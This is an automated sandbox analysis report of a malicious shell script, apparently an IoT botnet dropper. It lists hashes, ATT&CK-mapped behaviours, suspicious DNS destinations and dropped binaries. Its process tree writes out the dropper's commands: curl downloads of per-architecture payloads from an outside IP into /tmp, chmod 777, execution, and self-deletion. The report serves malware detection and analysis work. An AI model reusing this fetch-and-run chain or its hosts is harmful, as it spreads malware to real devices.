e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c

Analysis

max time kernel
18s
max time network
20s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
09/08/2026, 13:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
Size 979B
Sample260809-p896wsfk9x
SHA256 e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c
MD5 f967612bd7577d098bb63900da4b1a86
SHA1 93ce6e39253a7a65b910868b8f04cd8801b82fc6
SHA512 5ff9eaab581f4ea5294f83ce6a6375f3006c5c01b0ef59f4e5545aed98370a66ed659706a54e5b124a5a3ce777ff95acf1f5761e277809f2f86b848c774b66a5
TLSH
T1761104F5A3D0439B37048E72E5A74836B2F2A49B3476B688F0712E708E0F404704E727
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
764	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/mpsl	770	e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
/tmp/mips	769	e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
/tmp/ppc	771	e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
/tmp/arm7	768	e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
/tmp/arm6	767	e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
/tmp/x86_64	772	e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
/tmp/x86	773	e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
/tmp/spc	774	e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
/tmp/arm5	766	e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
/tmp/m68k	775	e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
/tmp/arm	765	e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh

Unexpected DNS network traffic destination 7 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	194.36.144.87
Destination IP	194.36.144.87
Destination IP	194.36.144.87
Destination IP	194.36.144.87
Destination IP	194.36.144.87
Destination IP	94.16.114.254
Destination IP	91.217.137.37

Enumerates active TCP sockets 1 TTPs 2 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	arm
File opened for reading	/proc/net/tcp	arm6

Checks CPU configuration 1 TTPs 11 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads system network configuration 1 TTPs 2 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	arm6
File opened for reading	/proc/net/tcp	arm

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/332/fd	arm
File opened for reading	/proc/573/fd	arm6
File opened for reading	/proc/592/fd	arm
File opened for reading	/proc/593/fd	arm
File opened for reading	/proc/767/fd	arm
File opened for reading	/proc/767/fd	arm6
File opened for reading	/proc/768/fd	arm
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/170/fd	arm
File opened for reading	/proc/325/fd	arm
File opened for reading	/proc/593/fd	arm6
File opened for reading	/proc/639/fd	arm6
File opened for reading	/proc/766/fd	arm
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/587/fd	arm
File opened for reading	/proc/588/fd	arm
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/fd	arm6
File opened for reading	/proc/145/fd	arm
File opened for reading	/proc/303/fd	arm
File opened for reading	/proc/317/fd	arm
File opened for reading	/proc/766/fd	arm6
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/226/fd	arm
File opened for reading	/proc/291/fd	arm6
File opened for reading	/proc/338/fd	arm6
File opened for reading	/proc/639/fd	arm
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/765/fd	arm
File opened for reading	/proc/765/fd	arm6
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/786/fd	arm6
File opened for reading	/proc/170/fd	arm6
File opened for reading	/proc/289/fd	arm
File opened for reading	/proc/289/fd	arm6
File opened for reading	/proc/316/fd	arm
File opened for reading	/proc/667/fd	arm6
File opened for reading	/proc/768/fd	arm6
File opened for reading	/proc/325/fd	arm6
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/226/fd	arm6
File opened for reading	/proc/312/fd	arm6
File opened for reading	/proc/317/fd	arm6
File opened for reading	/proc/592/fd	arm6
File opened for reading	/proc/667/fd	arm
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/145/fd	arm6
File opened for reading	/proc/312/fd	arm
File opened for reading	/proc/338/fd	arm
File opened for reading	/proc/587/fd	arm6
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/1/fd	arm
File opened for reading	/proc/303/fd	arm6
File opened for reading	/proc/332/fd	arm6

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
757	curl
769	mips

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/arm	curl
File opened for modification	/tmp/arm5	curl
File opened for modification	/tmp/arm6	curl
File opened for modification	/tmp/arm7	curl
File opened for modification	/tmp/mpsl	curl
File opened for modification	/tmp/x86_64	curl
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/m68k	curl
File opened for modification	/tmp/mips	curl
File opened for modification	/tmp/ppc	curl
File opened for modification	/tmp/spc	curl

/tmp/e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
/tmp/e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
1⤵
- Executes dropped EXE
PID:652
- /usr/bin/curl
  curl http://43.98.174.233/release/arm -o /tmp/arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:653
- /usr/bin/curl
  curl http://43.98.174.233/release/arm5 -o /tmp/arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:679
- /usr/bin/curl
  curl http://43.98.174.233/release/arm6 -o /tmp/arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:725
- /usr/bin/curl
  curl http://43.98.174.233/release/arm7 -o /tmp/arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:752
- /usr/bin/curl
  curl http://43.98.174.233/release/mips -o /tmp/mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:757
- /usr/bin/curl
  curl http://43.98.174.233/release/mpsl -o /tmp/mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /usr/bin/curl
  curl http://43.98.174.233/release/ppc -o /tmp/ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /usr/bin/curl
  curl http://43.98.174.233/release/x86_64 -o /tmp/x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:760
- /usr/bin/curl
  curl http://43.98.174.233/release/x86 -o /tmp/x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /usr/bin/curl
  curl http://43.98.174.233/release/spc -o /tmp/spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:762
- /usr/bin/curl
  curl http://43.98.174.233/release/m68k -o /tmp/m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/chmod
  chmod 777 /tmp/arm /tmp/arm5 /tmp/arm6 /tmp/arm7 /tmp/e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh /tmp/m68k /tmp/mips /tmp/mpsl /tmp/ppc /tmp/spc /tmp/systemd-private-4e6b6eb803414b4fbf59893ed1d58a28-systemd-timedated.service-P90Vhb /tmp/x86 /tmp/x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/arm7
  /tmp/arm7 aterna
  2⤵
  PID:768
- /tmp/arm6
  /tmp/arm6 aterna
  2⤵
  - Enumerates active TCP sockets
  - Reads system network configuration
  - Reads runtime system information
  PID:767
- /tmp/mips
  /tmp/mips aterna
  2⤵
  - System Network Configuration Discovery
  PID:769
- /tmp/ppc
  /tmp/ppc aterna
  2⤵
  PID:771
- /tmp/mpsl
  /tmp/mpsl aterna
  2⤵
  PID:770
- /tmp/x86_64
  /tmp/x86_64 aterna
  2⤵
  PID:772
- /tmp/arm5
  /tmp/arm5 aterna
  2⤵
  PID:766
- /tmp/spc
  /tmp/spc aterna
  2⤵
  PID:774
- /tmp/x86
  /tmp/x86 aterna
  2⤵
  PID:773
- /tmp/m68k
  /tmp/m68k aterna
  2⤵
  PID:775
- /bin/rm
  rm -f /tmp/e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
  2⤵
  PID:783
- /bin/sh
  /bin/sh /tmp/spc aterna
  2⤵
  PID:774
- /tmp/arm
  /tmp/arm aterna
  2⤵
  - Enumerates active TCP sockets
  - Reads system network configuration
  - Reads runtime system information
  PID:765

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

arm

Path /tmp/arm
Size 733KB
SHA256 99c11447a1238a6391b69d113124034bf106cf78b1751dfacaf7181ce803f88e
MD5 46b7100dd69f46ee3c6cea7ea0234408
SHA1 56bf631a81c3699b8e816f53589a27d20cb26c50
SHA512 ad1a587568c59cf38de6806d05d9788bb8d4591ed3c53f934b52f7404b987bf683fc359aee863c19df6accb84560c95061e18445abec57dfb63e69b3dd9e6b82
SSDEEP 12288:mA+8gcxYhR4TYwVpuX+coDRSFgIvEDVMpxXi0xPO18pCCCjobvvrwT6y5zxZPJhm:mADgcxYDQVpzFDgFgIvmV8xBCEAT6y5e
TLSH
T122F44A56F8808F62C5D1267AF65F42A8731347B9C3EB720699188B343BD792F4F3A641
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

arm6

Path /tmp/arm6
Size 569KB
SHA256 94ca187d2680779089c15de5cb075c8368a033914ed3d960b2cd7b82e7553fbc
MD5 37ca7c8d14be840ab6d88c07c79cf445
SHA1 a0461ee395007f457a6a8996f5a96d8fd7029075
SHA512 67a2dc63976cfaad25fbcbecef898695029d33cc6a536330db21462967d05fefa5c935d85c86611502a892c4f0fd3f8723871c8abe3574ad6409c0a0a114752a
SSDEEP 12288:inzxoZ+93Gdx32umLhhwMwtHnb6arR6zJ08pgWijUhRCdTf6/ozxehED9zB:GweqxG+MaHb6pi1f6/oz4hED9z
TLSH
T1A8C4BE67F5261E43C8E3953E2567C2B45327E60A27919306A70EF5B83DE63398F293C4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

m68k

Path /tmp/m68k
Size 646KB
SHA256 8dfd5cefc9c20988abb1188f250724f4fa3f46f74f1e4e8c0569b38cb0320d93
MD5 c3d6d6740564034cbfcd0730bab9a977
SHA1 263848f64215645cc751b3645dff955d6c6d7359
SHA512 ad5ac2ea3b02f303e25af481b056e3afd58a7f5ec2e30b3978b693dc083b57be44bd2ffe15b76e5fa076676a73f6aebc2e303b48171175c84ba1880d0a1f5984
SSDEEP 12288:1O+2Z6ZRKvbqJoynt8GqtI9oblHqvQdqWkMN/mnLhVnTwsZvMWyg9WaTC:4Z6ezOoyD9eKBnlVTwGfyg9WaG
TLSH
T1D0E4CF9673556D3BE0A79F3F84930B12BA36E78046C337172129B6346D336B86E25783
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mips

Path /tmp/mips
Size 802KB
SHA256 311ac74c800cd4ce5bcc16210127e7b7a8522253f34d4d4f0f4007365fad856a
MD5 5c5d7f2062bbf875c11244e1b87f5af2
SHA1 f236a976f97f555a65dcf791dc5be06a74097884
SHA512 252da96d687cc2b7ee8415ce3c89c811c5855f3969156de78ac4bdd360c3de73d326de8e2676837c30572faaba978f90943b221f4a8d21a07d4ee703129f54a1
SSDEEP 24576:Lyn4WhdWS1twR4SBFFgsrO168dZtZY9n8X0cW+e:Lyn4WkxBFesrObXZY9n8Xze
TLSH
T17A057C6377318F64D364D2B006F387269A9515A207F261C6937CC220BA61B6D6C6FFF8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mpsl

Path /tmp/mpsl
Size 806KB
SHA256 4f62a3aa1521c2e198cd37fafbac3706148116ccba9d897965b0b7c90e12d8eb
MD5 6168eb2345540b97977ff94f8373c437
SHA1 43dc47df48bab821494f62fbaf0c978f44dd90ba
SHA512 c530149e0d5a7596023fb10cb182b75fce30ebea27fcb3d9bcee998f0045aae9ddb71b9f1939f39ff7e277bc387cb67f00145ae25140099bb38022f20b25c4bc
SSDEEP 24576:cEtrCE98OS+DNLPd1ugHm9yh9Etn8X0cW+:/rLBXNozn8Xz
TLSH
T145057D06FF941FEBC4AFCE35852E875700EED98706C1A63960BCC9ACBA5D2594BD3448
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ppc

Path /tmp/ppc
Size 908KB
SHA256 c7f9cdd6d85285ab85056ce7a49fa087b5f56dab68beae6a3ebb0d6c538080b7
MD5 a0982a423b66b006efb91a514c6739d6
SHA1 11f516d81ad56e40f04072ee7183a8441229ffca
SHA512 ad4a325a649bc4ce0337551078e67863f6f3dd688c1dfc0a136a58ac949f7acfb6bfecfb362e03657ad56710bf7469eddec5b3f38aef9e7054530ef90059cc60
SSDEEP 24576:gvtLVHKQ+RfN8ePG4LVfo50cEJ5USus8HndrZP/RcTVs:gvtJKQ+RfN8ePTf1cE4Sx8HnpZPUVs
TLSH
T157156B42FB1C4532C9470EF1197F43D5F7217A4241F5A22A770FAB672622E3A9AC734A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

spc

Path /tmp/spc
Size 275B
SHA256 0dfbe8f3973984d3a4268249dc1764e820ca1a947a419fddd09cc2b1ca327985
MD5 a5bb9c170b7edccb6ac72413ec5928ed
SHA1 7d45e19be72d116a95a72e8e71398118de47c6fd
SHA512 8b04351015493f74b485545dcf2036593a898f3bafed0187d2dc16f1b548f61cfc477b5724a9f8e00969aec35b495952073ab1bcee13a96969ecb99b1c60220f
TLSH
T14ED0EB9E8083A283080200A039C211D2234C12FAB03A81E83DC2E487169843EDD8BA88
MD5 SHA1 SHA512 TLSH

Submit Download

x86_64

Path /tmp/x86_64
Size 1.1MB
SHA256 809ea6ebd9a87909a033616519d3c7d596b25136662da8a496ad971dbde62cf2
MD5 d18586b10200426113d074b710053192
SHA1 5d094f73d6c4664aaeff62aba48a39cd0a8ec084
SHA512 e6202a42cccfaab0e84d7b95f74ea4c3232f019eac62d48e23a052b7f477147a12c4152b7e9cd13bdc1731eb2d33824a37dc68b282f80bbbec160a65bec6d25f
SSDEEP 24576:kos2neB8BhNCTZz4zUJLDx6NvZpkDvva/kOc/A2:kOeB8foTZz4zUhx6BAva/kg2
TLSH
T154456D5AF2B374BDC067C030839FDB626936F46901222D7B71C4D6352EA6E601B29F67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads